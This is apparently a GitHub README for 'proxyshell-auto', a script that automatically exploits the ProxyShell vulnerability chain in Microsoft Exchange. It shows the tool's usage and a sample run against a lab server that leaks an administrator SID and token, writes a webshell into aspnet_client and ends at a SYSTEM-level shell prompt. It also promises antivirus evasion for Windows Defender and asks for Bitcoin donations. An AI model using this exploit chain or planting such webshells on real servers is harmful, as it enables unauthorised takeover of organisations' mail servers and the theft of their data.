Awesome

proxyshell-auto

usage: proxyshell.py [-h] -t T

Automatic Exploit ProxyShell

optional arguments:
  -h, --help  show this help message and exit
  -t T        Exchange URL
  
Usage: 
C:\>python3 proxyshell.py -t exchange.lab.local
fqdn exchange.lab.local
+ admin@exchange.lab.local
legacyDN /o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=admin
leak_sid S-1-5-21-3626636094-1513906978-1376853856-1156
token VgEAVAdX[cut]AAAA==
set_ews Success with subject badqxybxtecxuttq
write webshell at aspnet_client/tjmzk.aspx
<Response [404]>
<Response [404]>
nt authority\system
SHELL>

Reference:

• https://github.com/dmaasland/proxyshell-poc
• https://github.com/ktecv2000/ProxyShell
• https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/-
• https://srcincite.io/blog/2021/08/25/pwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html

Buy me a coffee
BTC: 1Crcsso56NZ4ppy9wQBxaGobE7G4sJYwPd
I will update webshell encode & bypass av (only windows defender) and some function that can help you get fully valid mailbox address (no need to brute-forces)